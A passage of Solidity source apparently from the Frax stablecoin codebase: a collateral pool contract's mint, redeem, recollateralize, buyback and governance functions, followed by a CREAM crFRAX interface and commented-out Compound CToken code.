bytes32 private constant COLLATERAL_PRICE_PAUSER = keccak256("COLLATERAL_PRICE_PAUSER");
// AccessControl state variables
bool public mintPaused = false;
bool public redeemPaused = false;
bool public recollateralizePaused = false;
bool public buyBackPaused = false;
bool public collateralPricePaused = false;
/* ========== MODIFIERS ========== */
modifier onlyByOwnerOrGovernance() {
require(msg.sender == timelock_address || msg.sender == owner_address, "You are not the owner or the governance timelock");
_;
}
modifier notRedeemPaused() {
require(redeemPaused == false, "Redeeming is paused");
_;
}
modifier notMintPaused() {
require(mintPaused == false, "Minting is paused");
_;
}
/* ========== CONSTRUCTOR ========== */
constructor(
address _frax_contract_address,
address _fxs_contract_address,
address _collateral_address,
address _creator_address,
address _timelock_address,
uint256 _pool_ceiling
) public {
FRAX = FRAXStablecoin(_frax_contract_address);
FXS = FRAXShares(_fxs_contract_address);
frax_contract_address = _frax_contract_address;
fxs_contract_address = _fxs_contract_address;
collateral_address = _collateral_address;
timelock_address = _timelock_address;
owner_address = _creator_address;
collateral_token = ERC20(_collateral_address);
pool_ceiling = _pool_ceiling;
missing_decimals = uint(18).sub(collateral_token.decimals());
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
grantRole(MINT_PAUSER, timelock_address);
grantRole(REDEEM_PAUSER, timelock_address);
grantRole(RECOLLATERALIZE_PAUSER, timelock_address);
grantRole(BUYBACK_PAUSER, timelock_address);
grantRole(COLLATERAL_PRICE_PAUSER, timelock_address);
}
/* ========== VIEWS ========== */
// Returns dollar value of collateral held in this Frax pool
function collatDollarBalance() public view returns (uint256) {
if(collateralPricePaused == true){
return (collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral)).mul(10 ** missing_decimals).mul(pausedPrice).div(PRICE_PRECISION);
} else {
uint256 eth_usd_price = FRAX.eth_usd_price();
uint256 eth_collat_price = collatEthOracle.consult(weth_address, (PRICE_PRECISION * (10 ** missing_decimals)));
uint256 collat_usd_price = eth_usd_price.mul(PRICE_PRECISION).div(eth_collat_price);
return (collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral)).mul(10 ** missing_decimals).mul(collat_usd_price).div(PRICE_PRECISION); //.mul(getCollateralPrice()).div(1e6);
}
}
// Returns the value of excess collateral held in this Frax pool, compared to what is needed to maintain the global collateral ratio
function availableExcessCollatDV() public view returns (uint256) {
uint256 total_supply = FRAX.totalSupply();
uint256 global_collateral_ratio = FRAX.global_collateral_ratio();
uint256 global_collat_value = FRAX.globalCollateralValue();
if (global_collateral_ratio > COLLATERAL_RATIO_PRECISION) global_collateral_ratio = COLLATERAL_RATIO_PRECISION; // Handles an overcollateralized contract with CR > 1
uint256 required_collat_dollar_value_d18 = (total_supply.mul(global_collateral_ratio)).div(COLLATERAL_RATIO_PRECISION); // Calculates collateral needed to back each 1 FRAX with $1 of collateral at current collat ratio
if (global_collat_value > required_collat_dollar_value_d18) return global_collat_value.sub(required_collat_dollar_value_d18);
else return 0;
}
/* ========== PUBLIC FUNCTIONS ========== */
// Returns the price of the pool collateral in USD
function getCollateralPrice() public view returns (uint256) {
if(collateralPricePaused == true){
return pausedPrice;
} else {
uint256 eth_usd_price = FRAX.eth_usd_price();
return eth_usd_price.mul(PRICE_PRECISION).div(collatEthOracle.consult(weth_address, PRICE_PRECISION * (10 ** missing_decimals)));
}
}
function setCollatETHOracle(address _collateral_weth_oracle_address, address _weth_address) external onlyByOwnerOrGovernance {
collat_eth_oracle_address = _collateral_weth_oracle_address;
collatEthOracle = UniswapPairOracle(_collateral_weth_oracle_address);
weth_address = _weth_address;
}
// We separate out the 1t1, fractional and algorithmic minting functions for gas efficiency
function mint1t1FRAX(uint256 collateral_amount, uint256 FRAX_out_min) external notMintPaused {
uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals);
require(FRAX.global_collateral_ratio() >= COLLATERAL_RATIO_MAX, "Collateral ratio must be >= 1");
require((collateral_token.balanceOf(address(this))).sub(unclaimedPoolCollateral).add(collateral_amount) <= pool_ceiling, "[Pool's Closed]: Ceiling reached");
(uint256 frax_amount_d18) = FraxPoolLibrary.calcMint1t1FRAX(
getCollateralPrice(),
collateral_amount_d18
); //1 FRAX for each $1 worth of collateral
frax_amount_d18 = (frax_amount_d18.mul(uint(1e6).sub(minting_fee))).div(1e6); //remove precision at the end
require(FRAX_out_min <= frax_amount_d18, "Slippage limit reached");
collateral_token.transferFrom(msg.sender, address(this), collateral_amount);
FRAX.pool_mint(msg.sender, frax_amount_d18);
}
// 0% collateral-backed
function mintAlgorithmicFRAX(uint256 fxs_amount_d18, uint256 FRAX_out_min) external notMintPaused {
uint256 fxs_price = FRAX.fxs_price();
require(FRAX.global_collateral_ratio() == 0, "Collateral ratio must be 0");
(uint256 frax_amount_d18) = FraxPoolLibrary.calcMintAlgorithmicFRAX(
fxs_price, // X FXS / 1 USD
fxs_amount_d18
);
frax_amount_d18 = (frax_amount_d18.mul(uint(1e6).sub(minting_fee))).div(1e6);
require(FRAX_out_min <= frax_amount_d18, "Slippage limit reached");
FXS.pool_burn_from(msg.sender, fxs_amount_d18);
FRAX.pool_mint(msg.sender, frax_amount_d18);
}
// Will fail if fully collateralized or fully algorithmic
// > 0% and < 100% collateral-backed
function mintFractionalFRAX(uint256 collateral_amount, uint256 fxs_amount, uint256 FRAX_out_min) external notMintPaused {
uint256 fxs_price = FRAX.fxs_price();
uint256 global_collateral_ratio = FRAX.global_collateral_ratio();
require(global_collateral_ratio < COLLATERAL_RATIO_MAX && global_collateral_ratio > 0, "Collateral ratio needs to be between .000001 and .999999");
require(collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral).add(collateral_amount) <= pool_ceiling, "Pool ceiling reached, no more FRAX can be minted with this collateral");
uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals);
FraxPoolLibrary.MintFF_Params memory input_params = FraxPoolLibrary.MintFF_Params(
fxs_price,
getCollateralPrice(),
fxs_amount,
collateral_amount_d18,
global_collateral_ratio
);
(uint256 mint_amount, uint256 fxs_needed) = FraxPoolLibrary.calcMintFractionalFRAX(input_params);
mint_amount = (mint_amount.mul(uint(1e6).sub(minting_fee))).div(1e6);
require(FRAX_out_min <= mint_amount, "Slippage limit reached");
require(fxs_needed <= fxs_amount, "Not enough FXS inputted");
FXS.pool_burn_from(msg.sender, fxs_needed);
collateral_token.transferFrom(msg.sender, address(this), collateral_amount);
FRAX.pool_mint(msg.sender, mint_amount);
}
// Redeem collateral. 100% collateral-backed
function redeem1t1FRAX(uint256 FRAX_amount, uint256 COLLATERAL_out_min) external notRedeemPaused {
require(FRAX.global_collateral_ratio() == COLLATERAL_RATIO_MAX, "Collateral ratio must be == 1");
// Need to adjust for decimals of collateral
uint256 FRAX_amount_precision = FRAX_amount.div(10 ** missing_decimals);
(uint256 collateral_needed) = FraxPoolLibrary.calcRedeem1t1FRAX(
getCollateralPrice(),
FRAX_amount_precision
);
collateral_needed = (collateral_needed.mul(uint(1e6).sub(redemption_fee))).div(1e6);
require(collateral_needed <= collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral), "Not enough collateral in pool");
require(COLLATERAL_out_min <= collateral_needed, "Slippage limit reached");
redeemCollateralBalances[msg.sender] = redeemCollateralBalances[msg.sender].add(collateral_needed);
unclaimedPoolCollateral = unclaimedPoolCollateral.add(collateral_needed);
lastRedeemed[msg.sender] = block.number;
// Move all external functions to the end
FRAX.pool_burn_from(msg.sender, FRAX_amount);
}
// Will fail if fully collateralized or algorithmic
// Redeem FRAX for collateral and FXS. > 0% and < 100% collateral-backed
function redeemFractionalFRAX(uint256 FRAX_amount, uint256 FXS_out_min, uint256 COLLATERAL_out_min) external notRedeemPaused {
uint256 fxs_price = FRAX.fxs_price();
uint256 global_collateral_ratio = FRAX.global_collateral_ratio();
require(global_collateral_ratio < COLLATERAL_RATIO_MAX && global_collateral_ratio > 0, "Collateral ratio needs to be between .000001 and .999999");
uint256 col_price_usd = getCollateralPrice();
uint256 FRAX_amount_post_fee = (FRAX_amount.mul(uint(1e6).sub(redemption_fee))).div(PRICE_PRECISION);
uint256 fxs_dollar_value_d18 = FRAX_amount_post_fee.sub(FRAX_amount_post_fee.mul(global_collateral_ratio).div(PRICE_PRECISION));
uint256 fxs_amount = fxs_dollar_value_d18.mul(PRICE_PRECISION).div(fxs_price);
// Need to adjust for decimals of collateral
uint256 FRAX_amount_precision = FRAX_amount_post_fee.div(10 ** missing_decimals);
uint256 collateral_dollar_value = FRAX_amount_precision.mul(global_collateral_ratio).div(PRICE_PRECISION);
uint256 collateral_amount = collateral_dollar_value.mul(PRICE_PRECISION).div(col_price_usd);
require(collateral_amount <= collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral), "Not enough collateral in pool");
require(COLLATERAL_out_min <= collateral_amount, "Slippage limit reached [collateral]");
require(FXS_out_min <= fxs_amount, "Slippage limit reached [FXS]");
redeemCollateralBalances[msg.sender] = redeemCollateralBalances[msg.sender].add(collateral_amount);
unclaimedPoolCollateral = unclaimedPoolCollateral.add(collateral_amount);
redeemFXSBalances[msg.sender] = redeemFXSBalances[msg.sender].add(fxs_amount);
unclaimedPoolFXS = unclaimedPoolFXS.add(fxs_amount);
lastRedeemed[msg.sender] = block.number;
// Move all external functions to the end
FRAX.pool_burn_from(msg.sender, FRAX_amount);
FXS.pool_mint(address(this), fxs_amount);
}
// Redeem FRAX for FXS. 0% collateral-backed
function redeemAlgorithmicFRAX(uint256 FRAX_amount, uint256 FXS_out_min) external notRedeemPaused {
uint256 fxs_price = FRAX.fxs_price();
uint256 global_collateral_ratio = FRAX.global_collateral_ratio();
require(global_collateral_ratio == 0, "Collateral ratio must be 0");
uint256 fxs_dollar_value_d18 = FRAX_amount;
fxs_dollar_value_d18 = (fxs_dollar_value_d18.mul(uint(1e6).sub(redemption_fee))).div(PRICE_PRECISION); //apply fees
uint256 fxs_amount = fxs_dollar_value_d18.mul(PRICE_PRECISION).div(fxs_price);
redeemFXSBalances[msg.sender] = redeemFXSBalances[msg.sender].add(fxs_amount);
unclaimedPoolFXS = unclaimedPoolFXS.add(fxs_amount);
lastRedeemed[msg.sender] = block.number;
require(FXS_out_min <= fxs_amount, "Slippage limit reached");
// Move all external functions to the end
FRAX.pool_burn_from(msg.sender, FRAX_amount);
FXS.pool_mint(address(this), fxs_amount);
}
// After a redemption happens, transfer the newly minted FXS and owed collateral from this pool
// contract to the user. Redemption is split into two functions to prevent flash loans from being able
// to take out FRAX/collateral from the system, use an AMM to trade the new price, and then mint back into the system.
function collectRedemption() external {
require((lastRedeemed[msg.sender].add(redemption_delay)) <= block.number, "Must wait for redemption_delay blocks before collecting redemption");
bool sendFXS = false;
bool sendCollateral = false;
uint FXSAmount;
uint CollateralAmount;
// Use Checks-Effects-Interactions pattern
if(redeemFXSBalances[msg.sender] > 0){
FXSAmount = redeemFXSBalances[msg.sender];
redeemFXSBalances[msg.sender] = 0;
unclaimedPoolFXS = unclaimedPoolFXS.sub(FXSAmount);
sendFXS = true;
}
if(redeemCollateralBalances[msg.sender] > 0){
CollateralAmount = redeemCollateralBalances[msg.sender];
redeemCollateralBalances[msg.sender] = 0;
unclaimedPoolCollateral = unclaimedPoolCollateral.sub(CollateralAmount);
sendCollateral = true;
}
if(sendFXS == true){
FXS.transfer(msg.sender, FXSAmount);
}
if(sendCollateral == true){
collateral_token.transfer(msg.sender, CollateralAmount);
}
}
// When the protocol is recollateralizing, we need to give a discount of FXS to hit the new CR target
// Thus, if the target collateral ratio is higher than the actual value of collateral, minters get FXS for adding collateral
// This function simply rewards anyone that sends collateral to a pool with the same amount of FXS + the bonus rate
// Anyone can call this function to recollateralize the protocol and take the extra FXS value from the bonus rate as an arb opportunity
function recollateralizeFRAX(uint256 collateral_amount, uint256 FXS_out_min) external {
require(recollateralizePaused == false, "Recollateralize is paused");
uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals);
uint256 fxs_price = FRAX.fxs_price();
uint256 frax_total_supply = FRAX.totalSupply();
uint256 global_collateral_ratio = FRAX.global_collateral_ratio();
uint256 global_collat_value = FRAX.globalCollateralValue();
(uint256 collateral_units, uint256 amount_to_recollat) = FraxPoolLibrary.calcRecollateralizeFRAXInner(
collateral_amount_d18,
getCollateralPrice(),
global_collat_value,
frax_total_supply,
global_collateral_ratio
);
uint256 collateral_units_precision = collateral_units.div(10 ** missing_decimals);
uint256 fxs_paid_back = amount_to_recollat.mul(uint(1e6).add(bonus_rate).sub(recollat_fee)).div(fxs_price);
require(FXS_out_min <= fxs_paid_back, "Slippage limit reached");
collateral_token.transferFrom(msg.sender, address(this), collateral_units_precision);
FXS.pool_mint(msg.sender, fxs_paid_back);
}
// Function can be called by an FXS holder to have the protocol buy back FXS with excess collateral value from a desired collateral pool
// This can also happen if the collateral ratio > 1
function buyBackFXS(uint256 FXS_amount, uint256 COLLATERAL_out_min) external {
require(buyBackPaused == false, "Buyback is paused");
uint256 fxs_price = FRAX.fxs_price();
FraxPoolLibrary.BuybackFXS_Params memory input_params = FraxPoolLibrary.BuybackFXS_Params(
availableExcessCollatDV(),
fxs_price,
getCollateralPrice(),
FXS_amount
);
(uint256 collateral_equivalent_d18) = (FraxPoolLibrary.calcBuyBackFXS(input_params)).mul(uint(1e6).sub(buyback_fee)).div(1e6);
uint256 collateral_precision = collateral_equivalent_d18.div(10 ** missing_decimals);
require(COLLATERAL_out_min <= collateral_precision, "Slippage limit reached");
// Give the sender their desired collateral and burn the FXS
FXS.pool_burn_from(msg.sender, FXS_amount);
collateral_token.transfer(msg.sender, collateral_precision);
}
/* ========== RESTRICTED FUNCTIONS ========== */
function toggleMinting() external {
require(hasRole(MINT_PAUSER, msg.sender));
mintPaused = !mintPaused;
}
function toggleRedeeming() external {
require(hasRole(REDEEM_PAUSER, msg.sender));
redeemPaused = !redeemPaused;
}
function toggleRecollateralize() external {
require(hasRole(RECOLLATERALIZE_PAUSER, msg.sender));
recollateralizePaused = !recollateralizePaused;
}
function toggleBuyBack() external {
require(hasRole(BUYBACK_PAUSER, msg.sender));
buyBackPaused = !buyBackPaused;
}
function toggleCollateralPrice(uint256 _new_price) external {
require(hasRole(COLLATERAL_PRICE_PAUSER, msg.sender));
// If pausing, set paused price; else if unpausing, clear pausedPrice
if(collateralPricePaused == false){
pausedPrice = _new_price;
} else {
pausedPrice = 0;
}
collateralPricePaused = !collateralPricePaused;
}
// Combined into one function due to 24KiB contract memory limit
function setPoolParameters(uint256 new_ceiling, uint256 new_bonus_rate, uint256 new_redemption_delay, uint256 new_mint_fee, uint256 new_redeem_fee, uint256 new_buyback_fee, uint256 new_recollat_fee) external onlyByOwnerOrGovernance {
pool_ceiling = new_ceiling;
bonus_rate = new_bonus_rate;
redemption_delay = new_redemption_delay;
minting_fee = new_mint_fee;
redemption_fee = new_redeem_fee;
buyback_fee = new_buyback_fee;
recollat_fee = new_recollat_fee;
}
function setTimelock(address new_timelock) external onlyByOwnerOrGovernance {
timelock_address = new_timelock;
}
function setOwner(address _owner_address) external onlyByOwnerOrGovernance {
owner_address = _owner_address;
}
/* ========== EVENTS ========== */
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import '../../ERC20/IERC20.sol';
// Original at https://etherscan.io/address/0xb092b4601850E23903A42EaCBc9D8A0EeC26A4d5
// Some functions were omitted for brevity. See the contract for details
interface ICREAM_crFRAX is IERC20 {
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function totalBorrowsCurrent() external view returns (uint);
function borrowBalanceCurrent(address account) external view returns (uint);
function borrowBalanceStored(address account) external view returns (uint);
function exchangeRateCurrent() external view returns (uint);
function exchangeRateStored() external view returns (uint);
function getCash() external view returns (uint);
function accrueInterest() external returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint);
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
}
// pragma solidity ^0.5.16;
// import "./ComptrollerInterface.sol";
// import "./CTokenInterfaces.sol";
// import "./ErrorReporter.sol";
// import "./Exponential.sol";
// import "./EIP20Interface.sol";
// import "./EIP20NonStandardInterface.sol";
// import "./InterestRateModel.sol";
// /**
// * @title Compound's CToken Contract
// * @notice Abstract base for CTokens
// * @author Compound
// */
// contract CToken is CTokenInterface, Exponential, TokenErrorReporter {
// /**
// * @notice Initialize the money market
// * @param comptroller_ The address of the Comptroller
// * @param interestRateModel_ The address of the interest rate model
// * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18
// * @param name_ EIP-20 name of this token
// * @param symbol_ EIP-20 symbol of this token
// * @param decimals_ EIP-20 decimal precision of this token
// */
// function initialize(ComptrollerInterface comptroller_,
// InterestRateModel interestRateModel_,
// uint initialExchangeRateMantissa_,
// string memory name_,
// string memory symbol_,
// uint8 decimals_) public {
// require(msg.sender == admin, "only admin may initialize the market");
// require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once");
// // Set initial exchange rate
// initialExchangeRateMantissa = initialExchangeRateMantissa_;
// require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero.");
// // Set the comptroller
// uint err = _setComptroller(comptroller_);
// require(err == uint(Error.NO_ERROR), "setting comptroller failed");
// // Initialize block number and borrow index (block number mocks depend on comptroller being set)
// accrualBlockNumber = getBlockNumber();
// borrowIndex = mantissaOne;
// // Set the interest rate model (depends on block number / borrow index)
// err = _setInterestRateModelFresh(interestRateModel_);
// require(err == uint(Error.NO_ERROR), "setting interest rate model failed");
// name = name_;
// symbol = symbol_;
// decimals = decimals_;
// // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund)
// _notEntered = true;
// }
// /**
// * @notice Transfer `tokens` tokens from `src` to `dst` by `spender`
// * @dev Called by both `transfer` and `transferFrom` internally
// * @param spender The address of the account performing the transfer
// * @param src The address of the source account
// * @param dst The address of the destination account
// * @param tokens The number of tokens to transfer
// * @return Whether or not the transfer succeeded
// */
// function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) {
// /* Fail if transfer not allowed */
// uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens);
// if (allowed != 0) {
// return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed);
// }
// /* Do not allow self-transfers */
// if (src == dst) {
// return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED);
// }
// /* Get the allowance, infinite for the account owner */
// uint startingAllowance = 0;
// if (spender == src) {
// startingAllowance = uint(-1);
// } else {
// startingAllowance = transferAllowances[src][spender];
// }
// /* Do the calculations, checking for {under,over}flow */
// MathError mathErr;
// uint allowanceNew;
// uint srcTokensNew;
// uint dstTokensNew;
// (mathErr, allowanceNew) = subUInt(startingAllowance, tokens);
// if (mathErr != MathError.NO_ERROR) {
// return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED);
// }
// (mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens);
// if (mathErr != MathError.NO_ERROR) {
// return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH);
// }
// (mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens);
// if (mathErr != MathError.NO_ERROR) {
// return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH);
// }
// /////////////////////////
// // EFFECTS & INTERACTIONS
// // (No safe failures beyond this point)
// accountTokens[src] = srcTokensNew;
// accountTokens[dst] = dstTokensNew;
// /* Eat some of the allowance (if necessary) */
// if (startingAllowance != uint(-1)) {
// transferAllowances[src][spender] = allowanceNew;
// }
// /* We emit a Transfer event */
// emit Transfer(src, dst, tokens);
// comptroller.transferVerify(address(this), src, dst, tokens);
// return uint(Error.NO_ERROR);
// }
// /**
// * @notice Transfer `amount` tokens from `msg.sender` to `dst`
// * @param dst The address of the destination account
// * @param amount The number of tokens to transfer
// * @return Whether or not the transfer succeeded
// */
// function transfer(address dst, uint256 amount) external nonReentrant returns (bool) {
// return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR);
// }
// /**
// * @notice Transfer `amount` tokens from `src` to `dst`
// * @param src The address of the source account
// * @param dst The address of the destination account
// * @param amount The number of tokens to transfer
// * @return Whether or not the transfer succeeded
// */
// function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) {
// return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR);
// }
// /**
// * @notice Approve `spender` to transfer up to `amount` from `src`
// * @dev This will overwrite the approval amount for `spender`
// * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
// * @param spender The address of the account which may transfer tokens
// * @param amount The number of tokens that are approved (-1 means infinite)
// * @return Whether or not the approval succeeded
// */
// function approve(address spender, uint256 amount) external returns (bool) {
// address src = msg.sender;
// transferAllowances[src][spender] = amount;
// emit Approval(src, spender, amount);
// return true;
// }
// /**
// * @notice Get the current allowance from `owner` for `spender`
// * @param owner The address of the account which owns the tokens to be spent
// * @param spender The address of the account which may transfer tokens
// * @return The number of tokens allowed to be spent (-1 means infinite)
// */
// function allowance(address owner, address spender) external view returns (uint256) {
// return transferAllowances[owner][spender];
// }
// /**
// * @notice Get the token balance of the `owner`
// * @param owner The address of the account to query
// * @return The number of tokens owned by `owner`
// */
// function balanceOf(address owner) external view returns (uint256) {
// return accountTokens[owner];
// }
// /**
// * @notice Get the underlying balance of the `owner`
// * @dev This also accrues interest in a transaction
// * @param owner The address of the account to query
// * @return The amount of underlying owned by `owner`
// */
// function balanceOfUnderlying(address owner) external returns (uint) {
// Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});
// (MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]);
// require(mErr == MathError.NO_ERROR, "balance could not be calculated");
// return balance;
// }
// /**
// * @notice Get a snapshot of the account's balances, and the cached exchange rate
// * @dev This is used by comptroller to more efficiently perform liquidity checks.
// * @param account Address of the account to snapshot
// * @return (possible error, token balance, borrow balance, exchange rate mantissa)
// */
// function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) {
// uint cTokenBalance = accountTokens[account];
// uint borrowBalance;
// uint exchangeRateMantissa;
// MathError mErr;
// (mErr, borrowBalance) = borrowBalanceStoredInternal(account);
// if (mErr != MathError.NO_ERROR) {
// return (uint(Error.MATH_ERROR), 0, 0, 0);
// }
// (mErr, exchangeRateMantissa) = exchangeRateStoredInternal();
// if (mErr != MathError.NO_ERROR) {
// return (uint(Error.MATH_ERROR), 0, 0, 0);
// }
// return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa);
// }
// /**
// * @dev Function to simply retrieve block number
// * This exists mainly for inheriting test contracts to stub this result.
// */
// function getBlockNumber() internal view returns (uint) {
// return block.number;
// }
// /**
// * @notice Returns the current per-block borrow interest rate for this cToken
// * @return The borrow interest rate per block, scaled by 1e18
// */
// function borrowRatePerBlock() external view returns (uint) {
// return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
// }
// /**
// * @notice Returns the current per-block supply interest rate for this cToken
// * @return The supply interest rate per block, scaled by 1e18
// */
// function supplyRatePerBlock() external view returns (uint) {
// return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa);
// }
// /**
// * @notice Returns the current total borrows plus accrued interest
// * @return The total borrows with interest
// */
// function totalBorrowsCurrent() external nonReentrant returns (uint) {
// require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
// return totalBorrows;
// }
// /**
// * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex
// * @param account The address whose balance should be calculated after updating borrowIndex
// * @return The calculated balance
// */
// function borrowBalanceCurrent(address account) external nonReentrant returns (uint) {
// require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
// return borrowBalanceStored(account);
// }
// /**
// * @notice Return the borrow balance of account based on stored data
// * @param account The address whose balance should be calculated
// * @return The calculated balance
// */
// function borrowBalanceStored(address account) public view returns (uint) {
// (MathError err, uint result) = borrowBalanceStoredInternal(account);
// require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed");
// return result;
// }
// /**
// * @notice Return the borrow balance of account based on stored data
// * @param account The address whose balance should be calculated
// * @return (error code, the calculated balance or 0 if error code is non-zero)
// */
// function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) {
// /* Note: we do not assert that the market is up to date */
// MathError mathErr;
// uint principalTimesIndex;
// uint result;
// /* Get borrowBalance and borrowIndex */
// BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
// /* If borrowBalance = 0 then borrowIndex is likely also 0.
// * Rather than failing the calculation with a division by 0, we immediately return 0 in this case.
// */
// if (borrowSnapshot.principal == 0) {
// return (MathError.NO_ERROR, 0);
// }
// /* Calculate new borrow balance using the interest index:
// * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex
// */
// (mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex);
// if (mathErr != MathError.NO_ERROR) {
// return (mathErr, 0);
// }
// (mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex);
// if (mathErr != MathError.NO_ERROR) {
// return (mathErr, 0);
// }
// return (MathError.NO_ERROR, result);
// }
// /**
// * @notice Accrue interest then return the up-to-date exchange rate
// * @return Calculated exchange rate scaled by 1e18
// */
// function exchangeRateCurrent() public nonReentrant returns (uint) {
// require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
// return exchangeRateStored();
// }
// /**
// * @notice Calculates the exchange rate from the underlying to the CToken
// * @dev This function does not accrue interest before calculating the exchange rate
// * @return Calculated exchange rate scaled by 1e18
// */
// function exchangeRateStored() public view returns (uint) {
// (MathError err, uint result) = exchangeRateStoredInternal();
// require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed");
// return result;
// }
// /**
// * @notice Calculates the exchange rate from the underlying to the CToken
// * @dev This function does not accrue interest before calculating the exchange rate
// * @return (error code, calculated exchange rate scaled by 1e18)
// */
// function exchangeRateStoredInternal() internal view returns (MathError, uint) {
// uint _totalSupply = totalSupply;
// if (_totalSupply == 0) {
// /*
// * If there are no tokens minted:
// * exchangeRate = initialExchangeRate
// */
// return (MathError.NO_ERROR, initialExchangeRateMantissa);
// } else {
// /*
// * Otherwise:
// * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
// */
// uint totalCash = getCashPrior();
// uint cashPlusBorrowsMinusReserves;
// Exp memory exchangeRate;
// MathError mathErr;
// (mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves);
// if (mathErr != MathError.NO_ERROR) {
// return (mathErr, 0);
// }
// (mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply);
// if (mathErr != MathError.NO_ERROR) {
// return (mathErr, 0);
// }
// return (MathError.NO_ERROR, exchangeRate.mantissa);
// }
// }
// /**
// * @notice Get cash balance of this cToken in the underlying asset
// * @return The quantity of underlying asset owned by this contract
// */
// function getCash() external view returns (uint) {
// return getCashPrior();
// }
// /**
// * @notice Applies accrued interest to total borrows and reserves
// * @dev This calculates interest accrued from the last checkpointed block
// * up to the current block and writes new checkpoint to storage.
// */
// function accrueInterest() public returns (uint) {
// /* Remember the initial block number */
// uint currentBlockNumber = getBlockNumber();
// uint accrualBlockNumberPrior = accrualBlockNumber;
// /* Short-circuit accumulating 0 interest */
// if (accrualBlockNumberPrior == currentBlockNumber) {
// return uint(Error.NO_ERROR);
// }
// /* Read the previous values out of storage */
// uint cashPrior = getCashPrior();
// uint borrowsPrior = totalBorrows;
// uint reservesPrior = totalReserves;
// uint borrowIndexPrior = borrowIndex;
// /* Calculate the current borrow interest rate */
// uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);
// require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high");
// /* Calculate the number of blocks elapsed since the last accrual */
// (MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior);
// require(mathErr == MathError.NO_ERROR, "could not calculate block delta");
// /*
// * Calculate the interest accumulated into borrows and reserves and the new index:
// * simpleInterestFactor = borrowRate * blockDelta
// * interestAccumulated = simpleInterestFactor * totalBorrows
// * totalBorrowsNew = interestAccumulated + totalBorrows
// * totalReservesNew = interestAccumulated * reserveFactor + totalReserves
// * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
// */
// Exp memory simpleInterestFactor;
// uint interestAccumulated;
// uint totalBorrowsNew;
// uint totalReservesNew;
// uint borrowIndexNew;
// (mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta);
// if (mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr));
// }
// (mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior);
// if (mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr));
// }
// (mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior);
// if (mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr));
// }
